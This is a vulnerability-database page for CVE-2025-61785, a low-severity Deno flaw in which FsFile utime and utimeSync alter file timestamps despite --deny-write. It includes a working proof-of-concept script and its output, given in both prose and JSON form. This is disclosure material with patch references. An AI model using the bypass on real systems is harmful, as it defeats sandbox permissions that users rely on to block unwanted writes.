cvelistv5 - CVE-2025-61785

CVE-2025-61785 (GCVE-0-2025-61785)

Vulnerability from cvelistv5

Published

2025-10-08 00:37

Modified

2025-10-08 18:59

Severity ?

3.3 (Low) - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

CWE

CWE-266 - Incorrect Privilege Assignment

Summary

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, `Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`. It's possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`). Similar APIs like `Deno.utime` and `Deno.utimeSync` require `allow-write` permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (`atime`) and modification (`mtime`) times, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

References

URL

Tags

security-advisories@github.com	https://github.com/denoland/deno/commit/992e998dfe436cdc9325232759af8be92f11739b	Patch
security-advisories@github.com	https://github.com/denoland/deno/pull/30872	Issue Tracking, Patch
security-advisories@github.com	https://github.com/denoland/deno/releases/tag/v2.2.15	Release Notes
security-advisories@github.com	https://github.com/denoland/deno/releases/tag/v2.5.3	Release Notes
security-advisories@github.com	https://github.com/denoland/deno/security/advisories/GHSA-vg2r-rmgp-cgqj	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	denoland	deno	Version: >= 2.3.0, < 2.5.3 Version: < 2.2.15

Show details on NVD website

JSON

To clipboard

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fkie_cve-2025-61785

Vulnerability from fkie_nvd

Published

2025-10-08 01:15

Modified

2025-10-16 18:12

Severity ?

3.3 (Low) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/denoland/deno/commit/992e998dfe436cdc9325232759af8be92f11739b	Patch
security-advisories@github.com	https://github.com/denoland/deno/pull/30872	Issue Tracking, Patch
security-advisories@github.com	https://github.com/denoland/deno/releases/tag/v2.2.15	Release Notes
security-advisories@github.com	https://github.com/denoland/deno/releases/tag/v2.5.3	Release Notes
security-advisories@github.com	https://github.com/denoland/deno/security/advisories/GHSA-vg2r-rmgp-cgqj	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	deno	deno	*
	deno	deno	*

JSON

To clipboard

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    {
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ghsa-vg2r-rmgp-cgqj

Vulnerability from github

Published

2025-10-07 22:36

Modified

2025-10-13 15:17

Severity ?

3.3 (Low) - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Summary

Deno's --deny-write check does not prevent permission bypass

Details

Summary

Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./.

It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./).

Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model.

PoC

Setup: ``` deno --version deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu) v8 13.7.152.14-rusty typescript 5.8.3

touch test.txt ```

```js // touch test.txt // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1 async function poc1(){ using file = await Deno.open("./test.txt", { read: true, write: false});

const fileInfoBefore = await file.stat();

await file.utime(new Date("2000-01-01"), new Date("2000-01-01"));

const fileInfoAfter = await file.stat();


console.log(`BEFORE (utime)`)
console.log(new Date(fileInfoBefore.mtime).getFullYear())
console.log(new Date(fileInfoBefore.atime).getFullYear())


console.log(`AFTER (utime)`)
console.log(new Date(fileInfoAfter.mtime).getFullYear())
console.log(new Date(fileInfoAfter.atime).getFullYear())

}

// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2 function poc2(){ using file = Deno.openSync("./test.txt", { read: true, write: false});

const fileInfoBefore = file.statSync();

file.utimeSync(new Date("2001-01-01"), new Date("2001-01-01"));

const fileInfoAfter = file.statSync();


console.log(`BEFORE (utimeSync)`)
console.log(new Date(fileInfoBefore.mtime).getFullYear())
console.log(new Date(fileInfoBefore.atime).getFullYear())


console.log(`AFTER (utimeSync)`)
console.log(new Date(fileInfoAfter.mtime).getFullYear())
console.log(new Date(fileInfoAfter.atime).getFullYear())

}

// https://docs.deno.com/api/deno/~/Deno.utime // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3 async function poc3(){ // not executed await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); }

// https://docs.deno.com/api/deno/~/Deno.utimeSync // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4 function poc4(){ // not executed Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); }

async function main(){ const poc = Deno.args[0] || 1;

const status = await Deno.permissions.query({ name: "write", path: "./" });
console.log(status);
switch (poc) {
    case "1":
        poc1()
        break;
    case "2":
        poc2()
        break;
    case "3":
        poc3()
        break;
    case "4":
        poc4()
        break;
    default:
        poc1()
}

}

main() ```

Output: - deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1 PermissionStatus { state: "denied", onchange: null } BEFORE (utime) 2025 2025 AFTER (utime) 2000 2000

deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2 PermissionStatus { state: "denied", onchange: null } BEFORE (utimeSync) 2000 2000 AFTER (utimeSync) 2001 2001
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3 PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); ^ ...
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4 PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); ^ ...

Impact

Permission model bypass

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "deno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-61785"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-266"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-07T22:36:36Z",
    "nvd_published_at": "2025-10-08T01:15:32Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\n`Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`.\n\nIt\u0027s possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`).\n\nSimilar APIs like `Deno.utime` and `Deno.utimeSync` require\u00a0`allow-write`\u00a0permission, however, when a file is opened, even with read only flags and deny-write permission, it\u0027s still possible to change the access (`atime`) and modification (`mtime`) times, and thus bypass the permission model.\n\n### PoC\n\nSetup:\n```\ndeno --version\ndeno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)\nv8 13.7.152.14-rusty\ntypescript 5.8.3\n\ntouch test.txt\n```\n\n```js\n// touch test.txt\n// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1\nasync function poc1(){\n    using file = await Deno.open(\"./test.txt\", { read: true, write: false});\n\n    const fileInfoBefore = await file.stat();\n    \n    await file.utime(new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n    \n    const fileInfoAfter = await file.stat();\n    \n    \n    console.log(`BEFORE (utime)`)\n    console.log(new Date(fileInfoBefore.mtime).getFullYear())\n    console.log(new Date(fileInfoBefore.atime).getFullYear())\n    \n    \n    console.log(`AFTER (utime)`)\n    console.log(new Date(fileInfoAfter.mtime).getFullYear())\n    console.log(new Date(fileInfoAfter.atime).getFullYear())\n}\n\n\n// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2\nfunction poc2(){\n    using file = Deno.openSync(\"./test.txt\", { read: true, write: false});\n\n    const fileInfoBefore = file.statSync();\n    \n    file.utimeSync(new Date(\"2001-01-01\"), new Date(\"2001-01-01\"));\n    \n    const fileInfoAfter = file.statSync();\n    \n    \n    console.log(`BEFORE (utimeSync)`)\n    console.log(new Date(fileInfoBefore.mtime).getFullYear())\n    console.log(new Date(fileInfoBefore.atime).getFullYear())\n    \n    \n    console.log(`AFTER (utimeSync)`)\n    console.log(new Date(fileInfoAfter.mtime).getFullYear())\n    console.log(new Date(fileInfoAfter.atime).getFullYear())\n}\n\n// https://docs.deno.com/api/deno/~/Deno.utime\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3\nasync function poc3(){\n    // not executed\n    await Deno.utime(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n}\n\n// https://docs.deno.com/api/deno/~/Deno.utimeSync\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4\nfunction poc4(){\n    // not executed\n    Deno.utimeSync(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n}\n\n\nasync function main(){\n    const poc = Deno.args[0] || 1;\n\n    const status = await Deno.permissions.query({ name: \"write\", path: \"./\" });\n    console.log(status);\n    switch (poc) {\n        case \"1\":\n            poc1()\n            break;\n        case \"2\":\n            poc2()\n            break;\n        case \"3\":\n            poc3()\n            break;\n        case \"4\":\n            poc4()\n            break;\n        default:\n            poc1()\n    }\n}\n\nmain()\n```\n\nOutput:\n- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nBEFORE (utime)\n2025\n2025\nAFTER (utime)\n2000\n2000\n```\n\n- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nBEFORE (utimeSync)\n2000\n2000\nAFTER (utimeSync)\n2001\n2001\n```\n\n- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nerror: Uncaught (in promise) NotCapable: Requires write access to \"./test.txt\", run again with the --allow-write flag\n    await Deno.utime(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n               ^\n    ...\n```\n\n- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nerror: Uncaught (in promise) NotCapable: Requires write access to \"./test.txt\", run again with the --allow-write flag\n    Deno.utimeSync(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n         ^\n    ...\n```\n\n\n### Impact\n\nPermission model bypass",
  "id": "GHSA-vg2r-rmgp-cgqj",
  "modified": "2025-10-13T15:17:42Z",
  "published": "2025-10-07T22:36:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/security/advisories/GHSA-vg2r-rmgp-cgqj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61785"
    },
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/pull/30872"
    },
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/commit/992e998dfe436cdc9325232759af8be92f11739b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/denoland/deno"
    },
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/releases/tag/v2.2.15"
    },
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/releases/tag/v2.5.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Deno\u0027s --deny-write check does not prevent permission bypass"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
Confirmed: The vulnerability is confirmed from an analyst perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
Patched: This vulnerability was successfully patched by the user reporting the sighting.
Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
Not confirmed: The user expresses doubt about the veracity of the vulnerability.
Not patched: This vulnerability was not successfully patched by the user reporting the sighting.

Action not permitted

CVE-2025-61785 (GCVE-0-2025-61785)

Vulnerability from cvelistv5

fkie_cve-2025-61785

Vulnerability from fkie_nvd

ghsa-vg2r-rmgp-cgqj

Vulnerability from github

Summary

PoC

Impact

Tags

Sightings

Nomenclature